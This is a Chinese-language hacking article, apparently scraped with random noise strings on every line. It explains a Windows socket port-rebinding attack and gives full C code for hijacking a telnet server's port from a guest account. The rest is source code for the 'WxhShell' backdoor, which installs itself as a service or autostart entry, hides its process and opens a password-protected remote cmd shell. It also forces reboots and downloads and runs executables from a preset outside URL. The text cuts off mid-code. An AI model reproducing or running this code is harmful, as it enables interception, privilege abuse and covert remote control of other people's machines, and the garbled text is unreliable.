在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c|RTP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
##!idcC ~ES6Qw`Oe saddr.sin_family = AF_INET;
(SGX|,5X7 yhm6% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Oxsx\f_ g]&7c:/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dyWj+N5( *ThP->&:( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c||EXFS}O e_=TkG1E6 这意味着什么?意味着可以进行如下的攻击:
=Ot|d #_ JOwm|%>3a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9UDanj P ,/2&HZd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7md,!|m 3qf?n5"8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(;VlK#rnC .w,$ TezGP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y%9$! x994B@\j+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?}g^/g ! ^+p7\D/E( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
lT^/8Z<g :'`y}' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6}l[%8 ^?J3nf{ #include
hk+8s\%- #include
9*Q6/?v #include
4SVIdSA #include
OEw#;l4 C DWORD WINAPI ClientThread(LPVOID lpParam);
JAx0(MZO int main()
7+9o<j@@o {
m^%@bu, WORD wVersionRequested;
2OVN9_D% DWORD ret;
hsB3zqotF WSADATA wsaData;
@eJ6UML" BOOL val;
C19}Y4r: SOCKADDR_IN saddr;
) >te|@}o SOCKADDR_IN scaddr;
<$(y6+lY int err;
E)%DLZ SOCKET s;
:
&bJMzB SOCKET sc;
`=V p 0tPI int caddsize;
%rlMjF'tG HANDLE mt;
'Zs3b4n8 DWORD tid;
qxB|*P` wVersionRequested = MAKEWORD( 2, 2 );
YdDP;,
DA err = WSAStartup( wVersionRequested, &wsaData );
% 2wr%*h if ( err != 0 ) {
W_L*S4 ~ printf("error!WSAStartup failed!\n");
9>ajhFyOhX return -1;
dbJ3E)rF }
)SZzA' saddr.sin_family = AF_INET;
8WE@ X)e r]@T9\9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/WGD7\G'8 -Ew>3Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z`_x|cU?J saddr.sin_port = htons(23);
wBDHhXi0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$DXO7;# {
E{0e5. { printf("error!socket failed!\n");
Mz.C`Z>o return -1;
#{*5rKiL }
vw 6$v val = TRUE;
yAAV,?:o[ //SO_REUSEADDR选项就是可以实现端口重绑定的
P3 . if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~!S/{Un {
Iprt
ZqiL printf("error!setsockopt failed!\n");
^k*%`iQ return -1;
v%$l( }
R?zlZS.~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zMRa<G7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{yv_Ni*6! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8 :WN@ WMHYOJR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
t{g@z3 {
[;yKbw!C ret=GetLastError();
(/2rj[F& printf("error!bind failed!\n");
gg.]\#3g return -1;
)!kt9lK }
oi]XSh[_s listen(s,2);
o{>4PZ}=g while(1)
c(uDkX {
A@Q6}ESD caddsize = sizeof(scaddr);
=@
acg0 //接受连接请求
"b402"& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zJP jsD] if(sc!=INVALID_SOCKET)
-.r"|\1X {
[
:)F- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8!0fT} if(mt==NULL)
cHt4L]n8n {
]?)uYot printf("Thread Creat Failed!\n");
\?oT.z5VG& break;
k>F!S`a&m }
q_6lD~~q^ }
W**[:n+ CloseHandle(mt);
L*dGo,oN }
SHs [te[ closesocket(s);
@`)>-k WSACleanup();
z:Tj0<A' return 0;
Y#I8gzv }
+pq)
7 DWORD WINAPI ClientThread(LPVOID lpParam)
gaQ E'qp> {
G62;p# SOCKET ss = (SOCKET)lpParam;
~"0{<mMcX SOCKET sc;
n_4.`vs unsigned char buf[4096];
*^Zt)U1$| SOCKADDR_IN saddr;
Y-Q)sv long num;
X3 1%T" DWORD val;
&OZx!G^Z DWORD ret;
Iila|,cM //如果是隐藏端口应用的话,可以在此处加一些判断
utRO?]%d
! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
50dN~(;p saddr.sin_family = AF_INET;
N<@K(?' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
W!T[
^+ saddr.sin_port = htons(23);
H{yBDxw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@67GVPcxl {
Ip`1Wv_ printf("error!socket failed!\n");
~CHcbEWk)W return -1;
X.>~DT%0Lm }
%
>a
/m.$ val = 100;
ygV_"=+|N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I$S*elveG {
43y@9P0 ret = GetLastError();
*;Mc X return -1;
g]JRAM }
rXzq: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^!C
{
.SmG) 5U] ret = GetLastError();
Nt_sV7zzb return -1;
k&:q|[N }
?u&|'ASo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Nt]nwae>A {
;7EeR M* printf("error!socket connect failed!\n");
a#+$.e5 closesocket(sc);
>Ik%_:CC` closesocket(ss);
`KLr!<i() return -1;
9015PEO }
!-n*]C while(1)
mXhC-8P {
h4itXJy52B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bC"h7$3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
&hI!0DixX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
k<j]b^jbz num = recv(ss,buf,4096,0);
J!RRG~ if(num>0)
Y@q9 send(sc,buf,num,0);
ReD]M@; else if(num==0)
%-$
:/N break;
b@=H$" num = recv(sc,buf,4096,0);
>EA\KrjW if(num>0)
etX(~"gG_ send(ss,buf,num,0);
6 <`e]PT else if(num==0)
6C"zBJcGc break;
k:iy()n[ }
W5Jy"]^I closesocket(ss);
_<2{8>EVf closesocket(sc);
\(=xc2 return 0 ;
DWx;cP8[ }
6&6dd_K( nO'C2)bBSG Wi5Dl= ==========================================================
8 l= EL7 4JXvP1` 下边附上一个代码,,WXhSHELL
K0o${%'@7 GV) "[O ==========================================================
.X(qs 1 +\dKe[j{g #include "stdafx.h"
lb*;Z7fx<' wxBZ+UP_ #include <stdio.h>
bQ
0Ab"+D #include <string.h>
;gu4~LQw #include <windows.h>
J(~1mIJjC #include <winsock2.h>
'r_Fi5[q #include <winsvc.h>
X7-[#} T #include <urlmon.h>
LfU? 1:Du b KIL@AI #pragma comment (lib, "Ws2_32.lib")
-vc$I=b; #pragma comment (lib, "urlmon.lib")
K5^zu`19 wL]#]DiE #define MAX_USER 100 // 最大客户端连接数
c68y\ #define BUF_SOCK 200 // sock buffer
:yi} CM4 #define KEY_BUFF 255 // 输入 buffer
I1s= = c05-1 #define REBOOT 0 // 重启
|%#NA!e4wA #define SHUTDOWN 1 // 关机
2u5\tp?8 (Uu5$q( #define DEF_PORT 5000 // 监听端口
<"3${'$k`
+O8zVWr #define REG_LEN 16 // 注册表键长度
<-G3Qgm #define SVC_LEN 80 // NT服务名长度
0"TPY(n iPG:w+G // 从dll定义API
]mNsG0r6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`(P71T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5.oY$tb( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0Y0`$
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`)KGajB N'l2$8 // wxhshell配置信息
<}c7E3Uc struct WSCFG {
" ;T
a8 int ws_port; // 监听端口
#uC}IX2n char ws_passstr[REG_LEN]; // 口令
|f1^&97=+ int ws_autoins; // 安装标记, 1=yes 0=no
^'Rs`e char ws_regname[REG_LEN]; // 注册表键名
-ULgVGYKK char ws_svcname[REG_LEN]; // 服务名
08k char ws_svcdisp[SVC_LEN]; // 服务显示名
y@2"[fo3~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
''! j:49 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7(C)vtEO: int ws_downexe; // 下载执行标记, 1=yes 0=no
w~pe?j_F$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Vj8-[ww! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
eAjR(\f> 3A~<|<}t };
ZJhI|wRwD /P46k4M1U // default Wxhshell configuration
28+{ struct WSCFG wscfg={DEF_PORT,
tux`-F "xuhuanlingzhe",
#SI]^T| 1,
t.O~RE "Wxhshell",
2,Z@< "Wxhshell",
~d,$nZ"z "WxhShell Service",
$/(``8li_ "Wrsky Windows CmdShell Service",
9a sA-'fZ "Please Input Your Password: ",
Q[H4l({E 1,
t%k`)p7O "
http://www.wrsky.com/wxhshell.exe",
~+Cl9:4T "Wxhshell.exe"
@(N}
{om };
Z?9G2<i "qZTgCOY2 // 消息定义模块
Pd
`~#! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VJCj=jX char *msg_ws_prompt="\n\r? for help\n\r#>";
Y<N#{)Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G@T_o4t char *msg_ws_ext="\n\rExit.";
f8f3[O!x char *msg_ws_end="\n\rQuit.";
< %<nh`D char *msg_ws_boot="\n\rReboot...";
b{x/V 9&| char *msg_ws_poff="\n\rShutdown...";
w6lx&K- char *msg_ws_down="\n\rSave to ";
"^
dMCS@ XMxm2-%olP char *msg_ws_err="\n\rErr!";
=dQF}-{! char *msg_ws_ok="\n\rOK!";
tF<&R&= ~qTChCXP char ExeFile[MAX_PATH];
NQiu>Sg int nUser = 0;
.+u r+"i HANDLE handles[MAX_USER];
+J
A\by int OsIsNt;
)`gxaT>&l <9$Pl%: SERVICE_STATUS serviceStatus;
h+YPyeAs SERVICE_STATUS_HANDLE hServiceStatusHandle;
8W7ET@` 7[R`52pP // 函数声明
j~9Y0jz_ int Install(void);
m|]"e@SF2 int Uninstall(void);
p -!/p# int DownloadFile(char *sURL, SOCKET wsh);
W+s3rS2 int Boot(int flag);
K>\v<!%a void HideProc(void);
pk;S"cnk int GetOsVer(void);
I.SMn,N int Wxhshell(SOCKET wsl);
6vU%Y_n=y] void TalkWithClient(void *cs);
n#4T o;CS int CmdShell(SOCKET sock);
ir|L@Jj, int StartFromService(void);
D&],.N int StartWxhshell(LPSTR lpCmdLine);
9Nz}'a;?> U`)d
`4" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&,,:pL[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ChNT;G<6$ e%9zY{ABR% // 数据结构和表定义
2q9$5 SERVICE_TABLE_ENTRY DispatchTable[] =
tTt}=hQpgX {
Q
} 0_}W {wscfg.ws_svcname, NTServiceMain},
|gT8 QP {NULL, NULL}
T7Ju7_q} };
rTST_$"_6 RH$YM
`cZ // 自我安装
#B_H/9f( int Install(void)
;1r|Bx <5 {
yhnPS4DC char svExeFile[MAX_PATH];
&C?4'e HKEY key;
7$R^u7DZ strcpy(svExeFile,ExeFile);
!rZZ/M"i T w1&<S // 如果是win9x系统,修改注册表设为自启动
7WNUHLEt if(!OsIsNt) {
>LVGNicQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JM*!(\Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4#B56f8 RegCloseKey(key);
= ^%*: iT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8>I4e5Ym RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w,<n5dMv RegCloseKey(key);
6r h#ATep return 0;
[mG!-.ll }
{~'Iu8TvZ }
y (%y'xBP }
A":cS }Ui else {
9!dG Xq fUq
#mkq} // 如果是NT以上系统,安装为系统服务
TFXKC l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PM)nw;nS if (schSCManager!=0)
r#J_;P{U {
m`tX&K#- SC_HANDLE schService = CreateService
m:9|5W (
(L W2S;- schSCManager,
12tAx3p wscfg.ws_svcname,
Vf$$e) wscfg.ws_svcdisp,
q{xF7}i SERVICE_ALL_ACCESS,
m mH
xPd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=8Z-ORW51 SERVICE_AUTO_START,
fBBtS S SERVICE_ERROR_NORMAL,
NBw{ svExeFile,
%@HuAcNi NULL,
2r@9|}La NULL,
2~yj
=D27Z NULL,
Ir Y\Q) NULL,
R I:kp.V NULL
\9R=fA1 8 );
0~Xt_rN]( if (schService!=0)
0W)|n9 {
~,x4cOdR# CloseServiceHandle(schService);
nPjK=o`KR CloseServiceHandle(schSCManager);
/^WOrMR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$3cZS strcat(svExeFile,wscfg.ws_svcname);
Io{BO.K*Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O;0VKNn[' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m;ju@5X RegCloseKey(key);
blkPsp)m" return 0;
xZVZYvC,t }
1aPFpo! }
4rpry@1 CloseServiceHandle(schSCManager);
Rt@O@oD I }
equi26jhr }
`w)yR>lqh G\~?.s|^ return 1;
E,Xl8rC }
dt/-0~U G7r .Jm^q // 自我卸载
``>z8t[ks int Uninstall(void)
ZWKvz3Wt {
uII! ? HKEY key;
~Q}!4LH 9ZuKED if(!OsIsNt) {
(U\D7ItMG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.eyJ<b9 RegDeleteValue(key,wscfg.ws_regname);
%\~U>3Q RegCloseKey(key);
VLoRS) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?6h~P:n. RegDeleteValue(key,wscfg.ws_regname);
sH]T1z RegCloseKey(key);
pQ7<\8s* return 0;
N:%Nq8I}: }
=,X*40= }
E%a&6W }
r~2q`l'> else {
\ rKUPI\ &kT!GU^n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^oNcZK> if (schSCManager!=0)
J|VDZ# c7 {
N0N%~3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
XD80]@\za if (schService!=0)
{Z178sik {
XV,ce~ro[ if(DeleteService(schService)!=0) {
6P)D M CloseServiceHandle(schService);
A+FQmLS CloseServiceHandle(schSCManager);
_rz\[{) return 0;
+fq\K] }
O'QnfpQ*9 CloseServiceHandle(schService);
}g:'K }
ZP-9KA$" CloseServiceHandle(schSCManager);
bfkFk }
]v:"
}
E )2/Vn2 rje;Bf return 1;
_qh\
}
ft0tRv(s: ~RZN+N // 从指定url下载文件
%/ :&L+q int DownloadFile(char *sURL, SOCKET wsh)
v?n# C {
2X(2O':Uc HRESULT hr;
@X=sfygk char seps[]= "/";
ZZc^~ char *token;
/UaQ2h\ char *file;
[jEA|rd~} char myURL[MAX_PATH];
fG{3S:TQq char myFILE[MAX_PATH];
=l6WO* z80*Ylx strcpy(myURL,sURL);
1&Ma`M(' token=strtok(myURL,seps);
U.ZA%De while(token!=NULL)
jwI1 I {x {
UQWv) file=token;
"chf\-!$ token=strtok(NULL,seps);
(&, E}{p9 }
'
-aLBAxy SCfk!GBVD GetCurrentDirectory(MAX_PATH,myFILE);
?zVcP=p@ strcat(myFILE, "\\");
;6?,Yhk$h strcat(myFILE, file);
_T=";NSa send(wsh,myFILE,strlen(myFILE),0);
nFro#qx send(wsh,"...",3,0);
-x?|[ +% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
jP<6Q|5F if(hr==S_OK)
D>`{f4Y return 0;
!A14\ else
[~;wCW,1 return 1;
.dvs&+I #kJ8 qN }
Upm#:i|" HD,6 // 系统电源模块
BL%&n*& int Boot(int flag)
$-E<{ {
[T,Df& HANDLE hToken;
UA#=K+2 TOKEN_PRIVILEGES tkp;
F'_z$,X6 `G>|g^6%i if(OsIsNt) {
m5hu;>gt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/N@NT/.M< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
64:p 4N tkp.PrivilegeCount = 1;
IEfm>N-] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U)z1RHP|z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dp3TJZ+U if(flag==REBOOT) {
](IOn:MuDE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c{T)31ldW return 0;
HS1{4/ }
475jmQ{q else {
"`w*-O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l8lJ & return 0;
B\`${O( }
0+A#k7c6p }
s2nZW pIy else {
F<)f&<5E- if(flag==REBOOT) {
![Vrbe P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`EiL~* return 0;
UZgrSX { }
#4Cf-$J else {
|J^I8gx+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>.REg[P return 0;
m# ^).+ }
fY|vq
amA; }
g
G|4+' t TQ5kT?/{ return 1;
gER(&L 4[ }
n|PW^kOE/ @_h=,g#@ // win9x进程隐藏模块
(. ,{x)H void HideProc(void)
tTJ$tx {
Ba
n^wX z}p*";)A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&2W`dEv]? if ( hKernel != NULL )
BU^E68?G {
NV`7VYU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r\}
O{ZO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
cP0(Q+i7 FreeLibrary(hKernel);
ZXWm?9uw }
/j(<rz"j 9O:-q[K** return;
C7Hgzc|U }
0#F<JsO|u ]Vf2Mn=]" // 获取操作系统版本
`h1>rP int GetOsVer(void)
~hU^5R-% {
|%=c<z+8 OSVERSIONINFO winfo;
?:RWHe.P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
S,C/l1s GetVersionEx(&winfo);
zc>LwX}< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pz/vvH5 return 1;
IPnx5#eB
else
Uql7s:!,U return 0;
[xPO'@Y }
vn96o]n DZ5h<1 // 客户端句柄模块
~G~:R int Wxhshell(SOCKET wsl)
wpm $?X {
'S;l" SOCKET wsh;
BctU`. struct sockaddr_in client;
p,#**g: DWORD myID;
kn6X
I* \J{%xW> while(nUser<MAX_USER)
/I q6'oo {
74%Uojl" int nSize=sizeof(client);
.BZ3>]F3< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lQer|?# if(wsh==INVALID_SOCKET) return 1;
XO4r rAYvW 0bR})}a+Yg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.^uYr^(|[ if(handles[nUser]==0)
mRY~)<!4& closesocket(wsh);
'FGf#l< else
7vK}aOs0 nUser++;
>)iCKx }
=tfS@o/n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
VW\~OH mybjcsV4
return 0;
\-)augq([ }
KEvT."t / 9soUt // 关闭 socket
*'ex>4^ void CloseIt(SOCKET wsh)
z
T#j.v {
Klk[h closesocket(wsh);
4krK CD>|G nUser--;
G+f@m, ExitThread(0);
/s^O M`5 }
AP_2.V=Sn 0%<x>O // 客户端请求句柄
Q:!.YSB void TalkWithClient(void *cs)
<YBA
7i {
F;_L/8Ov1 1t7S:IZ SOCKET wsh=(SOCKET)cs;
^H
UNq[sQ char pwd[SVC_LEN];
M `bEnu char cmd[KEY_BUFF];
tV,Y38e char chr[1];
WD,iY_'7u^ int i,j;
Jri"Toz0 ^3
'7 while (nUser < MAX_USER) {
Z&R{jQ, GT} =(sD L if(wscfg.ws_passstr) {
m;d#*}n\p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l~V^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i@}/KT //ZeroMemory(pwd,KEY_BUFF);
3mnq=.<(w i=0;
8P'zQ:#RV while(i<SVC_LEN) {
hE"a ( i RwC1C(ZP // 设置超时
O7z-4r fd_set FdRead;
%XieKL struct timeval TimeOut;
A!Ls<D. FD_ZERO(&FdRead);
jP9)utEm6 FD_SET(wsh,&FdRead);
sOBy)vq?\ TimeOut.tv_sec=8;
Pe_iA_ TimeOut.tv_usec=0;
,#PeK( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|tU4(hC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7TjK;w7xS. w1+xlM,,9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
K2glkGK pwd
=chr[0]; `|i[*+WC
if(chr[0]==0xd || chr[0]==0xa) { b^Xq(q>5
pwd=0; si nnHQ
break; BtN@P23>k.
} v<z%\`y
i++; dfBTx6/F
} x\m !3
MDCK@?\
// 如果是非法用户,关闭 socket \*0ow`|K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $6a55~h|(
} 'K=n}}&:
i#M$i*H*A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &?=UP4[oif
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )h0F'MzW
dM{xPpnx
while(1) { IZV D.1
bt/u^E
ZeroMemory(cmd,KEY_BUFF); 4{d!}R
ZS@Cd9*
// 自动支持客户端 telnet标准 b NBpt}$
j=0; ?th`5K30
while(j<KEY_BUFF) { IGj%)_W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~7tG%{t%
cmd[j]=chr[0]; p
xrd D7
if(chr[0]==0xa || chr[0]==0xd) { .r/6BDE"
cmd[j]=0; rkdwGqG
break; w6MEY"<L
} Htseu`>_$
j++; %.kJ@@_e
} ?\C7.of
]e?cKC\"e
// 下载文件 oW*e6"<R7
if(strstr(cmd,"http://")) { `gIlS^Q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wD-(3ZVd4
if(DownloadFile(cmd,wsh)) V/Q~NXN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YPraf$
else 1k2+eI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); URbu=U
} @tvAI2W
else { jrGVC2*rD
XY]|OZ7(
switch(cmd[0]) { =IH z@CU
8S_i;
// 帮助 9 |Cu2
case '?': { [:geDk9O#'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `2S G{5o;
break;
}xcEWC\
} Y]ML-smN
// 安装 :zk69P3
case 'i': { fHek!Jv.
if(Install()) \vVGfG?6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ENwDW#U9
else }v[*V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PSX-b)wb
break; `}/&}Sp
} 9*gD;) !
// 卸载 #!d@;=[\
case 'r': { zfDxc3e
if(Uninstall()) yjUSM}$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +;7Rz_.6f
else Fv \yhR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H-GlCVq~
break; irSdqa/
} `a}!t=~#w
// 显示 wxhshell 所在路径 Vk/CV2
case 'p': { 5I,5da
char svExeFile[MAX_PATH]; ;EZ$8|
strcpy(svExeFile,"\n\r"); ", b}-B
strcat(svExeFile,ExeFile); bq5tEn
send(wsh,svExeFile,strlen(svExeFile),0); ek~bXy{O`
break; =
8F/]8_
} nd(O;XBI
// 重启 4R5+"h:
case 'b': { ]K'iCYY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G*_$[| H
if(Boot(REBOOT)) Ky33h 0TX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:u *E
else { 5#+G7 'k
closesocket(wsh); ` z<k7ig
ExitThread(0); pj. }VF!d
} m\~{l=jIS
break; :hYV\8$
} ]YcM45xg
// 关机 B`,4M&
case 'd': { >]?!c5=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )h-Qi#{
if(Boot(SHUTDOWN)) ml$"C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |IL..C
else { i9?$BZQ[R
closesocket(wsh); .K>rao'
ExitThread(0); OM,-:H,
} i;!#:JX
break; )0Av:eF-+
} ^ mbpt`@
// 获取shell J{"<Hgb
case 's': { ;C,D1_20Z
CmdShell(wsh); ?k)(~Y&@p
closesocket(wsh); iXpLcHi
ExitThread(0); Z)B5g>
break; U JO
} Jybx'vZj
// 退出 uXPvl5(Y?
case 'x': { 4$D:<8B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dZ'hTzw~
CloseIt(wsh); _<x4/".}B3
break; ,&$w*D%
} S EdNH.|I
// 离开 o<T_Pjp
case 'q': { NsYeg&>`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 86(8p_&zC
closesocket(wsh); n DLr17
WSACleanup(); qI,4uGg
exit(1); lTOO`g
break; GrWzgO
} <a_Q1 l
} VY }?Nb<&
} <{U "0jY!9
yj!4L&A
// 提示信息 >W%tEc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L$*sv.
} NIn#
} !Oj].
WQ
G5~ Jp#uA
return; "_Wv,CYmNr
} afEhC0j
CFqteY"
// shell模块句柄 G?\\k[#,&
int CmdShell(SOCKET sock) \
UCOe
{ Ms8&$
STARTUPINFO si; QAiont ,!
ZeroMemory(&si,sizeof(si)); "0al"?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sYlA{Z"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d\Q~L 3x
PROCESS_INFORMATION ProcessInfo; "W:#4@
F
char cmdline[]="cmd"; EN^C'n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cTW3\S=
return 0; at_~b Ox6X
} g~EJja;
NijvFT$V1
// 自身启动模式 \%fl`+`
int StartFromService(void) =<nx[J
{ |FK##8
typedef struct s>8;At-
{ KtWn08D!
DWORD ExitStatus; te
e
DWORD PebBaseAddress; rv/O^aL`Y
DWORD AffinityMask; o5(`7XV6D
DWORD BasePriority; ,A`.u \f(:
ULONG UniqueProcessId; P{qi>FJqe
